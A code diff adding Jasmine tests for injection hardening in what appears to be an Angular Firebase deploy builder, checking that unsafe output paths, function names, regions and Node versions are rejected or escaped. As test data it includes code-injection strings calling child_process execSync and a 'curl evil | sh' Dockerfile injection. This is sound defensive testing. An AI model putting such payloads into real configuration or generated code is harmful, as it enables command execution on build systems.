|
1 | 1 | /* eslint-disable @typescript-eslint/no-empty-function */ |
2 | 2 | import { join } from 'path'; |
| 3 | +import { Script } from 'vm'; |
3 | 4 | import { BuilderContext, BuilderRun, ScheduleOptions, Target } from '@angular-devkit/architect'; |
4 | 5 | import { JsonObject, logging } from '@angular-devkit/core'; |
5 | 6 | import { BuildTarget, FSHost, FirebaseDeployConfig, FirebaseTools } from '../interfaces'; |
6 | | -import deploy, { deployToFunction } from './actions.js' |
| 7 | +import deploy, { assertSafeFunctionName, assertSafeNodeVersion, assertSafeOutputPath, deployToCloudRun, deployToFunction } from './actions.js' |
7 | 8 | import 'jasmine'; |
8 | 9 |
|
9 | 10 | let context: BuilderContext; |
@@ -300,3 +301,115 @@ describe('universal deployment', () => { |
300 | 301 | expect(spy).not.toHaveBeenCalled(); |
301 | 302 | });*/ |
302 | 303 | }); |
| 304 | + |
| 305 | +describe('deploy codegen input validation (injection hardening)', () => { |
| 306 | + describe('assertSafeOutputPath', () => { |
| 307 | + ['dist/browser', 'dist/server', 'dist/my-app/browser', 'out', 'a.b-c_d/e'].forEach((p) => { |
| 308 | + it(`allows the valid outputPath "${p}"`, () => { |
| 309 | + expect(assertSafeOutputPath(p, 'proj:server')).toBe(p); |
| 310 | + }); |
| 311 | + }); |
| 312 | + |
| 313 | + [`x'); require('child_process').execSync('id'); ('`, 'a`id`', 'a$(id)', 'a;b', 'a\nb', 'a"b', 'a|b'].forEach((p) => { |
| 314 | + it(`rejects the unsafe outputPath ${JSON.stringify(p)}`, () => { |
| 315 | + expect(() => assertSafeOutputPath(p, 'proj:server')).toThrowError(/Unsafe outputPath/); |
| 316 | + }); |
| 317 | + }); |
| 318 | + }); |
| 319 | + |
| 320 | + describe('assertSafeNodeVersion', () => { |
| 321 | + [undefined, 18, 20, '18', '18.19', '20.11.1'].forEach((v) => { |
| 322 | + it(`allows the valid functionsNodeVersion ${JSON.stringify(v)}`, () => { |
| 323 | + expect(() => assertSafeNodeVersion(v as string | number | undefined)).not.toThrow(); |
| 324 | + }); |
| 325 | + }); |
| 326 | + |
| 327 | + ['18-slim\nRUN curl evil | sh', '18 && id', 'latest', '18;id', '$(id)'].forEach((v) => { |
| 328 | + it(`rejects the unsafe functionsNodeVersion ${JSON.stringify(v)}`, () => { |
| 329 | + expect(() => assertSafeNodeVersion(v)).toThrowError(/Unsafe functionsNodeVersion/); |
| 330 | + }); |
| 331 | + }); |
| 332 | + }); |
| 333 | + |
| 334 | + describe('assertSafeFunctionName', () => { |
| 335 | + [undefined, 'ssr', 'ssrHandler', '_app', '$fn', 'a1'].forEach((n) => { |
| 336 | + it(`allows the valid functionName ${JSON.stringify(n)}`, () => { |
| 337 | + expect(() => assertSafeFunctionName(n as string | undefined)).not.toThrow(); |
| 338 | + }); |
| 339 | + }); |
| 340 | + |
| 341 | + [`ssr; require('child_process').execSync('id'); var _x`, 'my-fn', 'a b', '1fn', 'a.b', `a'`].forEach((n) => { |
| 342 | + it(`rejects the unsafe functionName ${JSON.stringify(n)}`, () => { |
| 343 | + expect(() => assertSafeFunctionName(n)).toThrowError(/Unsafe functionName/); |
| 344 | + }); |
| 345 | + }); |
| 346 | + }); |
| 347 | +}); |
| 348 | + |
| 349 | +// These drive the builders end-to-end so the protection cannot be silently dropped: |
| 350 | +// each fails if the corresponding assert call is removed from deployToFunction / |
| 351 | +// deployToCloudRun, rather than only exercising the validators in isolation. |
| 352 | +describe('deploy codegen hardening is wired into the builders', () => { |
| 353 | + beforeEach(() => initMocks()); |
| 354 | + |
| 355 | + const withServerOutputPath = (outputPath: string) => ((target: Target) => { |
| 356 | + if (target.target === 'build') { return { outputPath: 'dist/browser' }; } |
| 357 | + if (target.target === 'server') { return { outputPath }; } |
| 358 | + return undefined; |
| 359 | + }) as unknown as BuilderContext['getTargetOptions']; |
| 360 | + |
| 361 | + const EVIL_PATH = `dist'); require('child_process').execSync('id'); ('`; |
| 362 | + |
| 363 | + it('deployToFunction rejects a hostile server outputPath', async () => { |
| 364 | + context.getTargetOptions = withServerOutputPath(EVIL_PATH); |
| 365 | + await expectAsync(deployToFunction( |
| 366 | + firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET, |
| 367 | + { preview: false }, undefined, fsHost |
| 368 | + )).toBeRejectedWithError(/Unsafe outputPath/); |
| 369 | + }); |
| 370 | + |
| 371 | + it('deployToFunction rejects a server outputPath that starts with a dash', async () => { |
| 372 | + context.getTargetOptions = withServerOutputPath('-rf'); |
| 373 | + await expectAsync(deployToFunction( |
| 374 | + firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET, |
| 375 | + { preview: false }, undefined, fsHost |
| 376 | + )).toBeRejectedWithError(/Unsafe outputPath/); |
| 377 | + }); |
| 378 | + |
| 379 | + it('deployToFunction rejects a functionName that is not a plain identifier', async () => { |
| 380 | + await expectAsync(deployToFunction( |
| 381 | + firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET, |
| 382 | + { preview: false, functionName: `ssr; require('child_process').execSync('id'); var _x` }, |
| 383 | + undefined, fsHost |
| 384 | + )).toBeRejectedWithError(/Unsafe functionName/); |
| 385 | + }); |
| 386 | + |
| 387 | + it('deployToFunction escapes region into the generated function instead of interpolating it raw', async () => { |
| 388 | + const spy = spyOn(fsHost, 'writeFileSync'); |
| 389 | + const region = `us-central1'); require('child_process').execSync('id'); ('`; |
| 390 | + await deployToFunction( |
| 391 | + firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET, |
| 392 | + { preview: false, region }, undefined, fsHost |
| 393 | + ); |
| 394 | + const indexJs = spy.calls.argsFor(1)[1] as string; |
| 395 | + expect(indexJs).toContain(`.region(${JSON.stringify(region)})`); |
| 396 | + // The payload survives only as data inside a string literal: compiling the source |
| 397 | + // (without running it) still parses, so nothing broke out of the literal. |
| 398 | + expect(() => new Script(indexJs)).not.toThrow(); |
| 399 | + }); |
| 400 | + |
| 401 | + it('deployToCloudRun rejects a hostile server outputPath', async () => { |
| 402 | + context.getTargetOptions = withServerOutputPath(EVIL_PATH); |
| 403 | + await expectAsync(deployToCloudRun( |
| 404 | + firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET, |
| 405 | + { preview: false }, undefined, fsHost |
| 406 | + )).toBeRejectedWithError(/Unsafe outputPath/); |
| 407 | + }); |
| 408 | + |
| 409 | + it('deployToCloudRun rejects a hostile functionsNodeVersion', async () => { |
| 410 | + await expectAsync(deployToCloudRun( |
| 411 | + firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET, |
| 412 | + { preview: false, functionsNodeVersion: '18-slim\nRUN curl evil | sh' }, undefined, fsHost |
| 413 | + )).toBeRejectedWithError(/Unsafe functionsNodeVersion/); |
| 414 | + }); |
| 415 | +}); |
0 commit comments